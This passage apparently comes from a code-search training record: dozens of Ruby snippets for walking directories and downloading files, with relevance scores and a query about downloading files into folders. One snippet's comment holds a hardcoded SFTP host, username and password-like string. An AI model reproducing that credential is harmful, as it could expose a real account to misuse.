prepare child parameters\n child_params = extract_file_params(child)\n # check if it is a directory or not\n if is_dir?(child)\n # concat merges two arrays, use extract method below\n files.concat(add_folder_recursive(child_params))\n else\n # add new file\n files << add_file(child_params)\n end\n end\n\n # return list of added files\n files\n end", "def for_each_submodule_dir &block\n for_each_submodule { |dir| Dir.chdir(dir) { yield dir } }\nend", "def getFiles(tree, name)\n files = []\n\n tree.each_tree do |subtree|\n path = name + subtree[:name] + '/'\n subfiles = getFiles($repo.lookup(subtree[:oid]), path)\n files.push(*subfiles)\n end\n\n tree.each_blob do |file|\n file[:name] = name + file[:name]\n files.push(file)\n end\n\n return files\nend", "def fetch_all\n downloaded = 0\n megabyte = 1024 * 1024\n mb_down = 0\n File.open(@file, 'wb+') do |file|\n @downloader.parts do |part|\n begin\n @server.request_get(part, @headers) do |res|\n res.read_body do |body|\n file.write body\n end\n end # /@server\n rescue Timeout::Error, EOFError, Errno::ECONNRESET => exception\n yield -1\n @server = Net::HTTP.start(@base_url.host, @base_url.port)\n STDERR.puts \"Connection error...\"\n retry\n end\n\n yield part\n end # /parts\n end # /File\n end", "def files_from(dir)\r\n unless @dirs[dir].key?(:recursive_files)\r\n ensure_dir_data(dir)\r\n recursive_files = Hash[@dirs[dir][:files].keys.map { |file| [\"#{dir}/#{file}\", nil] }]\r\n @dirs[dir][:dirs].keys.each do |subdir|\r\n recursive_files.merge!(Hash[files_from(\"#{dir}/#{subdir}\").map { |file| [file, nil] }])\r\n end\r\n @dirs[dir][:recursive_files] = recursive_files\r\n end\r\n @dirs[dir][:recursive_files].keys\r\n end", "def getfiles path\n\nDir.foreach(path) do |f|\nname=File.basename f\npathn= @to_path + name\n\t\nfilepath =path +\"/\"+ f\n\nputs filepath\n if File.directory? filepath and name != '..' and name != '.' and name != 'new' \n\n Dir.chdir filepath\nstr = Dir.pwd\ngetfiles str\n\nDir.chdir('..')\nelsif File.file? f and name != 'app.rb' \n\tf1 = File.open(f, \"r:binary\")\nf2 = File.open(pathn, \"a:binary\")\n while (b = f1.getc)!= nil do\n \tf2.putc b\nend\n \nf2.close\n\n\nend\n\nend\nend", "def collect_in_dir directory, recursive = true\n if not File.readable? directory\n puts \"#{directory} not readable. Skipping.\" if @verbose\n else\n directory += \"/\" if not directory.end_with? \"/\"\n if File.directory? directory\n files = Dir.entries directory\n files.reject! {|d| d.match /^\\.{1,2}$/} # ignore parent and self links\n files.map! { |f| directory + f }\n files.each do |fname|\n if File.directory?(fname) and recursive\n collect_in_dir fname\n elsif not File.readable? fname\n puts \"#{fname} not readable.Skipping.\" if @verbose\n elsif File.file? fname and File.extname(fname) == @extension # if no directory\n pkg_info = parse_pkg fname\n @files[fname] = pkg_info if pkg_info\n end\n end\n end\n end\n end", "def download\n # Check if we already have a functional working_directory\n return if @working_directory && Dir.exist?(@working_directory)\n\n # No existing working directory, creating a new one now\n self.working_directory = Dir.mktmpdir\n\n s3_client.find_bucket!(s3_bucket).objects.each do |object|\n file_path = object.key # :team_id/path/to/file\n download_path = File.join(self.working_directory, file_path)\n\n FileUtils.mkdir_p(File.expand_path(\"..\", download_path))\n UI.verbose(\"Downloading file from S3 '#{file_path}' on bucket #{self.s3_bucket}\")\n\n object.download_file(download_path)\n end\n UI.verbose(\"Successfully downloaded files from S3 to #{self.working_directory}\")\n end", "def traverse_and_create path\n root = @folder_cache.values.find{|file| file.name == ROOT_FOLDER and file.parents.nil?}\n\n #DriveV3::File (actually folders)\n files = [root]\n places = path.split '/'\n places.each do |place|\n next if place == ''\n folder = folder_with_name place, files.last\n folder = create_folder(place, files.last) if folder.nil?\n files << folder\n end\n files.last\n end", "def files_in_directory name, glob = '**' / '*'\n Dir[path / name / glob]\n end", "def files\n file = Dir[self.path + \"/*\"]\n file.each do |file_name|\n file_name.slice!(self.path + \"/\")\n end\n file\n end", "def all_files() = path.glob('**/*').select(&:file?).map(&:to_s)", "def download_all\n raise NotImplementedError.new(\"#{self.class.name}#download_all is an abstract method.\")\n end", "def foreach(path = nil, *rs)\n path = \".\" unless path\n path = expand_path(path)\n\n if File.directory?(path)\n\tDir.foreach(path){|fn| yield fn}\n else\n\tIO.foreach(path, *rs){|l| yield l}\n end\n end", "def process_rest(dir)\n Dir.glob(\"#{dir}/**/*/**\").sort.each do |path|\n next if EXCLUDE_FILE_LIST[File.basename(path).downcase]\n\n yield(path)\n end\n end", "def recursive_copy_files dirname, record_object\r\n dirs, files = recursive_find_directories_and_files(dirname)\r\n \r\n dirs.each do |dir|\r\n record_object.directory(dir)\r\n end\r\n \r\n files.each do |filename|\r\n record_object.file(filename, filename)\r\n end\r\n end", "def download_files files,dest,opts = {}\n unless @started\n Logger.<<(__FILE__,\"ERROR\",\"FileManager is not started yet !\")\n abort\n end\n str = \"Will download #{files.size} files to #{dest} ... \"\n download_all_files files,dest\n str += \" Done !\"\n Logger.<<(__FILE__,\"INFO\",str) if opts[:v]\n end", "def index(base_path, glob = nil)\n\t\tglob = '*' if glob == '' or glob.nil?\n\t\tdirs = []\n\t\tfiles = []\n\t\t::Dir.chdir(base_path) do\n\t\t\t::Dir.glob(glob).each do |fname|\n\t\t\t\tif ::File.directory?(fname)\n\t\t\t\t\tdirs << fname + '/'\n\t\t\t\telse\n\t\t\t\t\tfiles << fname\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tdirs.sort + files.sort\n\trescue Errno::ENOENT\n\t\traise Rush::DoesNotExist, base_path\n\tend", "def download()\n get_page\n puts \"Page Found\"\n get_img_names\n get_img_links\n len = @imgLinks.length\n a = @imgLinks\n files = @files\n len.times do |f|\n puts \"#{a[f]} found\"\n File.open(files[f], \"w\") do |fo|\t\n fo.write open(a[f]).read\n\t\tend\n puts \"#{files[f]} downloaded\"\n end\n end", "def downloadRemotefiles\n logger.debug(\"DOWNLOADING FILES.\")\n #sftp= Net::SFTP.start('belkuat.workhorsegroup.us', 'BLKUATUSER', :password => '5ada833014a4c092012ed3f8f82aa0c1')\n #ENV.fetch(\"WORKHORSE_HOST_SERVER\"), ENV.fetch(\"WORKHORSE_HOST_USERNAME\"), :password => ENV.fetch(\"WORKHORSE_HOST_PASSWORD\")\n Net::SFTP.start(ENV.fetch(\"WORKHORSE_HOST_SERVER\"), ENV.fetch(\"WORKHORSE_HOST_USERNAME\"), :password => ENV.fetch(\"WORKHORSE_HOST_PASSWORD\")) do |sftp|\n sftp.dir.glob(WORKHORSE_TO_SALSIFY, \"*\").each do |file|\n fileName = file.name\n sftp.download(File.join(WORKHORSE_TO_SALSIFY, \"/\", fileName), File.join(LOCAL_DIR, fileName))\n if File.extname(fileName).eql?(\".zip\")\n zipFiles.push(fileName)\n end\n end\n end\n logger.debug(\"FILES DOWNLOADED.\")\n end", "def list_all_files_in_dir(target)\n all = Pathname.new(target).children\n dirs = all.select { |c| c.directory? }\n dirs.each do |d|\n Puppet.debug(\"Ignoring directory #{d.to_s}\")\n end\n all.select { |c| c.file? }\n end", "def in_each_dir\n dirs.each do |dir|\n Dir.chdir(dir) do\n yield(dir)\n end\n end\n end", "def all_files_under(path, &ignore)\n path = Pathname(path)\n\n if path.directory?\n path.children.flat_map do |child|\n all_files_under(child, &ignore)\n end.compact\n elsif path.file?\n if block_given? && ignore.call(path)\n []\n else\n [path]\n end\n else\n []\n end\n end", "def send_directory(path, types)\n # TODO: use git ls\n listing = []\n Dir[File.join path, '*'].each { |child|\n stat = File.stat child\n listing << {\n :name => (File.basename child),\n :type => stat.ftype,\n :size => stat.size\n }\n }\n respond listing, types\n end", "def main_files\n retrieve_files_in_main_dir\n end", "def each_file_batch(batch_size: FIND_BATCH_SIZE, &block)\n cmd = build_find_command(ABSOLUTE_UPLOAD_DIR)\n\n Open3.popen2(*cmd) do |stdin, stdout, status_thread|\n yield_paths_in_batches(stdout, batch_size, &block)\n\n raise \"Find command failed\" unless status_thread.value.success?\n end\n end", "def iterationFolder(path) \r\n\t\tfolderArray = []\r\n\t\tDir.entries(path).each do |sub| \r\n\t\t\tif sub != '.' && sub != '..' \r\n\t\t\t if File.directory?(\"#{path}/#{sub}\") \r\n\t\t\t\t#puts \"[#{sub}]\"\r\n\t\t\t\titerationFolder(\"#{path}/#{sub}\") \r\n\t\t\t else \r\n\t\t\t\t#puts \"|--#{sub}\"\r\n\t\t\t\tfolderArray << $SCRIPT_DIR_PATH + \"/\" + \"#{sub}\"\r\n\t\t\t end \r\n\t\t\tend \r\n\t\tend \r\n\t\treturn folderArray\r\n\tend", "def directory!\n @file_list = @file_list.select{ |f| File.directory?(f) }\n end", "def download_list\n task = params[:task]\n files = []\n\n case task\n when DOWNLOAD_ACTION, OPEN_ACTION, COPY_ACTION, COPY_TO_PRIVATE_ACTION\n nodes = Node.accessible_by(@context).where(id: params[:ids])\n nodes.each { |node| files += node.is_a?(Folder) ? node.all_files : [node] }\n when PUBLISH_ACTION\n nodes = Node.editable_by(@context).\n where(id: params[:ids]).\n where.not(scope: UserFile::SCOPE_PUBLIC)\n nodes.each do |node|\n files += if node.is_a?(Folder)\n node.all_files(Node.where.not(scope: UserFile::SCOPE_PUBLIC))\n else\n [node]\n end\n end\n when DELETE_ACTION\n nodes = Node.editable_by(@context).where(id: params[:ids]).to_a\n files += nodes\n nodes.each { |node| files += node.all_children if node.is_a?(Folder) }\n files.filter! { |file| file.scope == params[:scope] }\n else\n raise ApiError, \"Parameter 'task' is not defined!\"\n end\n\n render json: files,\n each_serializer: FileActionsSerializer,\n scope_name: params[:scope] || SCOPE_PRIVATE,\n action_name: task\n end", "def file_list(dir, opts={})\r\n\topts={:recursive => false, :exclude => []}.merge(opts)\r\n\tf = []\r\n\tDir.glob(File.join(dir,\"*\")).each do | file |\r\n\t\tif File.file?(file) then\r\n\t\t\tnext if opts[:exclude].include? file\r\n\t\t\tf << file\r\n\t\telse\r\n\t\t\tf << file_list(file) if opts[:recursive] && File.directory?(file)\r\n\t\tend\r\n\tend\r\n\treturn f\r\nend", "def process_directory(path)\n Find.find(path) do |a_path| \n Find.prune if EXCLUDES_DIRECTORIES.include?(File.basename(a_path))\n if (ACCEPTED_FILES_PATTERN.each { | pattern| File.basename(pattern)} and\n !File.directory?(a_path))\n @files_processed += 1\n document = moddify_document(a_path)\n modify_file(a_path,document)\n end\n end\nend", "def files(recurse)\n if recurse\n Dir['**/*'].select { |f| File.file?(f) }\n else\n Dir.entries(Dir.pwd).select { |f| File.file? f }\n end\n end", "def each(&block)\n\t\tclient.fs.sftp.dir.foreach(self.path, &block)\n\tend", "def list_files(path)\n base_directory_content = Dir.glob(File.join(path, \"*\"))\n nested_directory_content = Dir.glob(File.join(path, \"*/**/*\"))\n [base_directory_content, nested_directory_content].flatten\n end", "def foreach(path)\n handle = sftp.opendir!(path)\n while entries = sftp.readdir!(handle)\n entries.each { |entry| yield entry }\n end\n return nil\n ensure\n sftp.close!(handle) if handle\n end", "def get_files(directory)\n Dir.entries(directory).select { |entry| not is_dir?(\"#{directory}/#{entry}\") }\n end", "def dir_files(dir)\n Find.find(dir).to_a.reject!{|f| File.directory?(f) }\nend", "def files_in_folder(folder, options={})\n pattern = \"**{,/*/**}/*\"\n # modify by Hub\n # add method glod : Dir.glob\n #Dir[File.join(folder, pattern)].uniq\n Dir.glob(File.join(folder, pattern)).uniq\n end", "def files\n return unless session\n session.files.find_all_by_parent_folder_id(id)\n end", "def retrieve_dirs(_base, dir, dot_dirs)\n dot_dirs.each do |file|\n dir_path = site.in_source_dir(dir, file)\n rel_path = PathManager.join(dir, file)\n @site.reader.read_directories(rel_path) unless @site.dest.chomp(\"/\") == dir_path\n end\n end", "def retrieve_files_in_main_dir\n ensure_file_open!\n @file.glob('*').map do |entry|\n next if entry.directory?\n\n entry_file_name = Pathname.new(entry.name)\n [entry_file_name, entry.get_input_stream(&:read)]\n end.compact.to_h\n end", "def get_folder_files(folder_path)\n ensure_file_open!\n @file.glob(\"#{folder_path}/**/*\").to_h do |entry|\n entry_file_name = Pathname.new(entry.name)\n file_name = entry_file_name.relative_path_from(folder_path)\n [file_name, entry.get_input_stream(&:read)]\n end\n end", "def get_files\n Dir.foreach(@path) do |file|\n if File.extname(file) == \".mp3\"\n thisfile = SongFile.new(\"#{@path}/#{File.path(file)}\")\n @files << thisfile\n end\n end\n end" ]
[ "0.67017967", "0.66356564", "0.65426964", "0.6506944", "0.6460195", "0.6417377", "0.6349547", "0.63154703", "0.631045", "0.6271115", "0.6252502", "0.6220537", "0.6154238", "0.6113927", "0.61007506", "0.60759926", "0.6051336", "0.6034005", "0.5984921", "0.5942133", "0.59350014", "0.5924268", "0.59138334", "0.5911804", "0.58975357", "0.58904016", "0.58864987", "0.58789825", "0.586039", "0.5831157", "0.58166337", "0.5805485", "0.5803941", "0.57788587", "0.57697326", "0.5760293", "0.5754538", "0.57518893", "0.57467455", "0.5742314", "0.572836", "0.5716183", "0.5709932", "0.5696738", "0.56908286", "0.56901586", "0.56887794", "0.5677729", "0.56762934", "0.5673119", "0.56700253", "0.56691897", "0.5668034", "0.5658122", "0.56549376", "0.5649092", "0.5648294", "0.563829", "0.5637929", "0.56335205", "0.5618441", "0.56063324", "0.5600253", "0.55827624", "0.5580691", "0.55801815", "0.5578238", "0.5572514", "0.5570777", "0.55644315", "0.5560993", "0.5559982", "0.5557792", "0.55562246", "0.554448", "0.55110776", "0.5510612", "0.5510173", "0.55077946", "0.5505495", "0.54978263", "0.54977155", "0.5493956", "0.5492511", "0.5492092", "0.5488076", "0.54877836", "0.54869914", "0.54823595", "0.54813683", "0.5481225", "0.5475998", "0.5467489", "0.5465509", "0.5465244", "0.5463407", "0.54625046", "0.5460766", "0.5458719", "0.5458315" ]
0.59879476
18
Download files and make folders where necessary
def download_children(children, path) children.each do |child| new_path = "#{path}/#{child.title}" backup_folder_rec child.id, new_path if child.mimeType == FOLDER download_if_allowed_child child, new_path end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def download_files\n path = Conf::directories.tmp\n manager = @current_source.file_manager\n manager.start do\n @current_source.folders.each do |folder|\n files = @files[folder]\n puts \"folder => #{folder}, Files => #{files}\" if @opts[:v]\n next if files.empty? \n # download into the TMP directory by folder\n spath = File.join(path, @current_source.name.to_s,folder)\n manager.download_files files,spath,v: true\n move_files folder\n @current_source.schema.insert_files files,folder\n SignalHandler.check { Logger.<<(__FILE__,\"WARNING\",\"SIGINT Catched. Abort.\")}\n end\n end\n end", "def download\n create_agent\n login\n fetch_feed\n create_catalog\n download_catalog\n end", "def download\n link=params[:link]\n all_html = Nokogiri::HTML(open(link))\n create_folder\n save_html(all_html)\n #Get All CSS File\n all_html.xpath('//link/@href').each do |row|\n if check_link(row)\n css_path=row\n else\n css_path=link+row\n end\n getcss(css_path)\n end\n #Get All JS File\n all_html.xpath('//script/@src').each do |row|\n if check_link(row)\n js_path=row\n else\n js_path=link+row\n end\n\n getjs(js_path)\n end\n #Get All Images File\n all_html.xpath('//img/@src').each do |row|\n if check_link(row)\n images_path=row\n else\n images_path=link+row\n end\n\n getimages(images_path)\n end\n end", "def download_all_files files,dest\n return if files.empty?\n RubyUtil::partition files do |sub|\n cmd = \"mv -t #{dest} \"\n cmd += sub.map { |f| \"\\\"#{f.full_path}\\\"\" }.join(' ')\n exec_cmd(cmd) \n end\n # update files object !\n files.map! { |f| f.path = dest; f }\n end", "def download\n # noinspection RubyCaseWithoutElseBlockInspection\n case type\n when 'direct'\n dir = File.dirname(path)\n FileUtils.mkdir_p(dir)\n Attachment.download_from_url(source, dir)\n when 'git'\n FileUtils.mkdir_p(File.dirname(path))\n ::Open3.capture3('git submodule update --init --recursive')\n end\n end", "def dir_download(*paths); net_scp_transfer!(:download, true, *paths); end", "def download(file, todir = '.')\r\n begin\r\n puts \"Downloading file #{file} from #{@address}\"\r\n c = open(\"http://#{@address}/#{file}\").read\r\n Dir.mkdir(todir) if not File.directory?(todir)\r\n f = open(\"#{todir}/#{file}\", 'wb')\r\n f.puts c\r\n f.close\r\n rescue => e\r\n if not File.exists?(fullfile)\r\n $stderr.puts \"Could not download file #{file} form #{@address}.\"\r\n $stderr.puts e.to_s\r\n end\r\n end\r\nend", "def download(url, download_to=File.expand_path(\".\")+File::SEPARATOR)\n $LOG.info \" Starting download of fillings from SEC url [\"+url+\"]\"\n files=[]\n content = open(url).read\n @links = Set.new\n uri=URI(url)\n @base_path=\"\"\n @base_path=(uri.scheme+\"://\"+uri.host+((uri.port==80 && \"\") || \":\"+uri.port.to_s)) unless uri.host.nil?\n parse(content)\n download_to += File::SEPARATOR unless download_to.end_with?(File::SEPARATOR)\n mkdir(download_to)\n @links.each do |link|\n file=download_to + link.split(\"/\")[-1]\n dump_to_file(file, open(link).read)\n files << file\n end unless uri.host.nil?\n files\n end", "def download()\n get_page\n puts \"Page Found\"\n get_img_names\n get_img_links\n len = @imgLinks.length\n a = @imgLinks\n files = @files\n len.times do |f|\n puts \"#{a[f]} found\"\n File.open(files[f], \"w\") do |fo|\t\n fo.write open(a[f]).read\n\t\tend\n puts \"#{files[f]} downloaded\"\n end\n end", "def download_response_files!\n files_downloaded = []\n File.makedirs(cache_location + '/returns')\n with_ftp do |ftp|\n files = ftp.list('*.csv')\n files.each do |filels|\n size, file = filels.split(/ +/)[4], filels.split(/ +/)[8..-1].join(' ')\n ftp.get(file, cache_location + '/returns/' + user_suffix + '_' + file)\n files_downloaded << file\n end\n end\n files_downloaded\n end", "def fetch_and_store!\n # Get links from page\n # Download files from links concurrently\n download self.extract!\n end", "def download(f)\n result = \"\"\n prefix = \"dat/\"\n file_names = \"name.dat.txt\"\n file_surna = \"surnames.dat.txt\" \n file_words = \"words.dat.txt\"\n http_names_m = \"http://www.census.gov/genealogy/names/dist.male.first\"\n http_names_f = \"http://www.census.gov/genealogy/names/dist.female.first\"\n http_surnames = \"http://www.census.gov/genealogy/names/dist.all.last\"\n http_words = \"http://www.mieliestronk.com/corncob_lowercase.zip\"\n\n case f\n when 'names'\n print \"Downloading names ... [BUSY]\"\n nm_uri = URI.parse(http_names_m)\n nf_uri = URI.parse(http_names_f)\n (open(nm_uri).read + open(nf_uri).read).each_line {|m|\n result += m.split(/\\s+/)[0].capitalize + \"\\n\"\n }\n File.open(prefix + file_names, \"w\").write( result )\n print \"\\b\\b\\b\\b\\b\\b[DONE]\\n\"\n when 'surnames'\n print \"Downloading surnames ... [BUSY]\"\n sr_uri = URI.parse(http_surnames)\n (open(sr_uri).read).each_line {|m|\n result += m.split(/\\s+/)[0].capitalize + \"\\n\"\n }\n File.open(prefix + file_surna, \"w\").write ( result )\n print \"\\b\\b\\b\\b\\b\\b[DONE]\\n\"\n when 'words'\n print \"Downloading words ... [BUSY]\"\n wr_uri = URI.parse(http_words)\n # Store the zipfile\n File.open(prefix + file_words, \"w\").write(wr_uri.read)\n unzip(prefix + file_words)\n print \"\\b\\b\\b\\b\\b\\b[DONE]\\n\"\n end\n end", "def download!\n folder = \"tmp/#{self.order_code}_\" + Time.now.strftime('%Y%m%d%H%M%S%L')\n files = []\n\n # check if the directory existence\n # create the directory if it does not exist yet\n Dir::mkdir(folder) if Dir[folder].empty?\n\n xml_file = to_xml(folder)\n\n files << xml_file\n \n self.order_items.each_with_index do |o_i, index|\n next if o_i.photo.nil? || o_i.photo.image_file_name.nil?\n\n o_photo_url = o_i.photo.image.url\n\n o_photo = open(o_photo_url, &:read)\n\n File.open(\"#{folder}/#{index}_#{o_i.photo.image_name}\", 'wb') do |file|\n file << o_photo\n end\n\n files << \"#{folder}/#{index}_#{o_i.photo.image_name}\"\n end\n \n File.open(\"#{folder}/message.txt\", 'wb') do |file|\n file << \"\"\n end\n files << \"#{folder}/message.txt\"\n\n ## zip\n Zip::File.open(\"#{folder}.zip\", Zip::File::CREATE) do |zipfile|\n files.each do |file|\n zipfile.add(file.split(\"/\").last, file)\n end\n end\n\n FileUtils.rm_rf(folder)\n\n \"#{folder}.zip\"\n end", "def download_files\n files = @settings['files']\n gd = GoogleDownloader.new @settings\n\n files.each do |target_file, file_id|\n target_file = target_file + \".yml\" if target_file !~ /\\.yml$/\n response = gd.download target_file, @tmp_folder, file_id\n @csv_files[target_file] = csv_convert(target_file)\n end\n end", "def wget(dir, url, fname)\n u = URI.parse(url)\n # create the directory if it doesn't exist\n FileUtils.mkdir_p(dir) unless File.exists?(dir)\n fname = no_clobber(\"#{dir}/#{fname}\")\n begin\n f = File.open(fname, 'w') # TODO implement wget naming in case file exists... foo.1 foo.2 ...\n Net::HTTP.start(u.host) do |http|\n http.request_get(u.path) do |resp|\n resp.read_body do |segment|\n f.write(segment)\n end\n end\n end\n ensure\n f.close()\n end\n\nend", "def download_files files,dest,opts = {}\n unless @started\n Logger.<<(__FILE__,\"ERROR\",\"FileManager is not started yet !\")\n abort\n end\n str = \"Will download #{files.size} files to #{dest} ... \"\n download_all_files files,dest\n str += \" Done !\"\n Logger.<<(__FILE__,\"INFO\",str) if opts[:v]\n end", "def download!(source_url, destination_file); end", "def download links\n # Start downloading files in pool\n links.map do |file|\n next if Duplicate.downloaded? file\n downloader.perform do\n link = \"#{self.uri}/#{file}\"\n puts \"Worker thread #{Thread.current.object_id} is downloading #{file}. Wait\".colorize(:blue)\n # Create new agent for each worker\n browser = Mechanize.new\n browser.pluggable_parser.default = Mechanize::Download\n browser.get(link).save(\"./tmp/#{file}\")\n puts \"Done. #{file}\".colorize(:green)\n Duplicate.save! file # Don't redownload file\n self.enqueue(file)\n end\n end\n\n # Cool down\n downloader.dispose(10) do\n puts \"[Downloader] Worker thread #{Thread.current.object_id} is shutting down.\".colorize(:yellow)\n end\n end", "def download_folder\n folder = params[:fold]\n # Delete old .zip files\n FileUtilsC.delete_files_by_types(folder[0..folder.rindex('/') - 1], ['.zip'])\n\n if !folder.blank?\n # Zip folder and send zip file to client\n zipfile_name = BrowsingFile.zip_folder folder\n send_file zipfile_name, type: 'application/zip', x_sendfile: true\n end\n end", "def download\n #TODO: add time frame for downloading at a specific time\n src_url = get_pdfs_webpage_urlstr ;\t# puts src_url\n \n pdf_urls = []\n begin\n open(src_url) {\n |page| page_content = page.read().force_encoding(\"ISO-8859-1\").encode(\"UTF-8\")\n doc = Nokogiri::HTML.parse(page_content) #HTree(page_content).to_rexml\n doc.xpath(\"//a\").map do |elem| #doc.root.each_element('//a') do |elem |\n #puts elem\n #a = elem.attribute(\"href\").value\n a = elem['href']\n #puts a\n if a =~ /.pdf$/\n pdf_urls << File.join(src_url.slice(0,src_url.rindex('/')),a)\n pdf_urls.uniq!\n end\n end\n }\n # p(pdf_urls)\n rescue => e\n puts \"#{src_url} failed to open! #{e}\"\n raise \"please check URL #{src_url}\"\n end\n \n ## should NOT be apparent to the user.\n urls_file = \"#{get_newspaper_sym}#{self.object_id}\"\t## same file not allowing the multithreading, ensure singularity.\n f = File.new(urls_file , \"w\") ; f.puts pdf_urls ; f.close\n repo = target_dir ;# puts repo\n system(\"wget -nv -i \" + urls_file +\" -P \" + repo)\t## download using wget tool\n File.delete urls_file if File.exists? urls_file\t## clean\n end", "def crawl #TODO: (base, source, query, exclusion[])\n folders = get_folders\n links = get_links(folders)\n filtered_links = filter_links(links) #TODO: add exclusion array\n download_files(filtered_links)\n end", "def download_remotefiles\n logger.debug('DOWNLOADING FILES.')\n # sftp= Net::SFTP.start('belkuat.workhorsegroup.us', 'BLKUATUSER', :password => '5ada833014a4c092012ed3f8f82aa0c1')\n # ENV.fetch('WORKHORSE_HOST_SERVER'), ENV.fetch('WORKHORSE_HOST_USERNAME'), :password => ENV.fetch('WORKHORSE_HOST_PASSWORD')\n begin\n Net::SFTP.start(ENV.fetch('WORKHORSE_HOST_SERVER'), ENV.fetch('WORKHORSE_HOST_USERNAME'), :password => ENV.fetch('WORKHORSE_HOST_PASSWORD')) do |sftp|\n sftp.dir.glob(WORKHORSE_TO_SALSIFY, '*').each do |file|\n file_name = file.name\n sftp.download!(File.join(WORKHORSE_TO_SALSIFY, '/', file_name), File.join(LOCAL_DIR, file_name), :progress => CustomDownloadHandler.new)\n zip_files.push(file_name) if File.extname(file_name).eql?('.zip')\n end\n end\n rescue Exception => e\n logger.debug('Error is download file ' + e.message)\n end\n\n logger.debug('FILES DOWNLOADED.')\n end", "def download_files(files, dest_dir)\n pool = PatchFinder::ThreadPool.new(3)\n\n files.each do |f|\n pool.schedule do\n download_file(f, dest_dir)\n end\n end\n\n pool.shutdown\n\n sleep(0.5) until pool.eop?\n end", "def copy_downloads_to_output_dir\n section_entities.each do |section_id, section_name|\n unit_entities_in_section(section_id).each do |unit_id, unit_name|\n unit_downloads_output_dir = \"#{DOWNLOADS_OUTPUT_DIR}/#{section_id}_#{unit_id}/\"\n FileUtils.mkdir_p unit_downloads_output_dir\n downloads_in_unit(section_id, unit_id).each do |download_name|\n output_path = unit_downloads_output_dir + download_name\n input_path = \"#{unit_path(section_id, unit_id, unit_name)}/downloads/#{download_name}\"\n FileUtils.cp(input_path, output_path)\n end\n end\n end\nend", "def save_files(links)\n links.each do |link|\n if[\".jpg\",\".gif\",\".png\",\"jpeg\"].include?(File.extname(link)) \n File.open(\"#{@direc}/\" + File.basename(link), 'wb') { |i| i.write(RestClient.get(link)) } \n end\n end\n page_counter\n end", "def download(url, filename, outputFolder)\r\n loadStatus = true\r\n begin\r\n Net::HTTP.start(url) { |http|\r\n t= Time.now\r\n filedate = t.strftime(\"%m%d%Y\")\r\n\t\tif url == \"downloads.cms.gov\"\r\n\t\t\tresp = http.get(\"/medicare/#{filename}\")\r\n\t\telse\r\n\t\t\tresp = http.get(\"/download/#{filename}\")\r\n\t\tend\r\n\r\n open(\"#{outputFolder}#{filedate}#{filename}\", \"wb\") { |file|\r\n file.write(resp.body)\r\n }\r\n }\r\n\r\n puts \"download of #{filename} complete\"\r\n rescue Exception=>e\r\n loadStatus = false\r\n end\r\n return loadStatus\r\nend", "def download_package\n path = download_path\n remote_file path do\n source URL\n action :create\n only_if { !::File.exist?(PATH) }\n end\n end", "def download(url, cache_dir, filename)\n run_script \"curl -L --create-dirs -o #{cache_dir[:guest_path]}/#{filename} #{url}\" unless File.exist?(\"#{cache_dir[:host_path]}/#{filename}\")\n end", "def download(limit=100, download_to=File.expand_path(\".\")+File::SEPARATOR+\"edgar_data\")\n items=@content[\"channel\"][0][\"item\"]\n items.each_with_index do |item, index|\n break if index==limit\n files=get_xbrl_files(item)\n download_to += File::SEPARATOR unless download_to.end_with?(File::SEPARATOR)\n data_dir=download_to\n data_dir=data_dir+File::SEPARATOR+item[\"xbrlFiling\"][0][\"cikNumber\"][0][\"content\"]\n data_dir=data_dir+File::SEPARATOR+item[\"xbrlFiling\"][0][\"accessionNumber\"][0][\"content\"]\n mkdir(data_dir)\n files.each do |file|\n file_content=open(file[\"edgar:url\"]).read\n dump_to_file(data_dir+File::SEPARATOR+file[\"edgar:file\"], file_content)\n end\n end\n end", "def download_all_files files,dest,opts = {}\n @ssh.sftp.connect do |sftp|\n ## in case we have too much files !!\n RubyUtil::partition files do |sub|\n dl = []\n sub.each do |file|\n dest_file = ::File.join(dest,file.cname)\n dl << sftp.download(file.full_path,dest_file) \n end\n dl.each { |d| d.wait }\n end\n end\n files.each { |f| f.path = dest; f.downloaded = true }\n files\n end", "def retrieve_github_files(url)\n\n #create a virtual browser with a Chrome Windows Agent\n agent = Mechanize.new\n agent.user_agent = CHROME_USER_AGENT\n\n #retrieve the page and report if page not found (404)\n begin\n page = agent.get(url)\n rescue Exception => e\n #REPORT THE ERROR\n end\n\n #recursively download all content\n get_files_from_github_page(page)\n\n end", "def sort_files\n # Iterate thru files in @download_path\n cd(@download_path) do\n Find.find(pwd) do |path_to_file|\n @current_file_path = path_to_file\n next if @current_file_path == pwd # don't include the download folder as one of the files\n update_progress\n @file_directory, @file_name = File.split(@current_file_path)\n next if @file_name[0..0] == \".\" # skip any files/directories beginning with .\n # Stop searching this file/directory if it should be skipped, otherwise process the file\n should_skip_folder? ? Find.prune : process_download_file\n end\n end\n end", "def download\n path.dirname.mkpath\n\n case io = open(url)\n when StringIO\n begin\n exact_path.open('w', 0o755) { |fd| fd.write(io) }\n rescue StandardError\n exact_path.unlink if exact_path.exist?\n raise\n end\n when Tempfile\n io.close\n iopath = Pathname.new(io.path)\n iopath.chmod(0o755)\n iopath.rename exact_path\n end\n\n path.delete if path.symlink?\n path.make_symlink exact_path\n end", "def download(remotes, local)\n FileUtils.mkdir_p(File.dirname(local))\n\n Array(remotes).each do |remote|\n new_content = file(remote).content\n local_file = File.join(local, File.basename(remote))\n\n logger.debug(\"Attempting to download '#{remote}' as file #{local_file}\")\n\n File.open(local_file, \"w\") { |fp| fp.write(new_content) }\n end\n end", "def create_downloads(config, files)\n downloads = []\n # Write\n files&.each do |file|\n content_type = config[:format] == 'csv' ? 'text/csv' : 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'\n downloads << create_download(config[:user_id], file[:content], file[:filename], config[:export_type], content_type)\n end\n downloads\n end", "def start_download(name, folder_name, url, &blk)\n puts pretty_console_block(\"\\n\\ndownloading #{name}\\n\\n\")\n begin\n blk.call(name, folder_name, url)\n begin\n give_metadata(name, folder_name, url)\n rescue Exception => e\n puts pretty_console_block(\"error setting metadata for #{name}\")\n end\n rescue Exception => e\n handle_download_error(name, folder_name, url, e)\n end\n end", "def download(url, filename)\n require 'open-uri'\n if File.exists?(\"lib/\" + filename)\n puts \"'#{filename}' is already downloaded... skipped\"\n else\n puts \"'#{filename}' downloading...\"\n File.open(\"lib/\" + filename, \"wb\") do |saved_file|\n open(url + filename, \"rb\") { |read_file| saved_file.write(read_file.read) }\n end\n end\nend", "def bulk_download_folder(file)\n self.name == '/' ? \"root_dir/#{file[:name]}\": file[:name]\n end", "def file_download(*paths); net_scp_transfer!(:download, false, *paths); end", "def 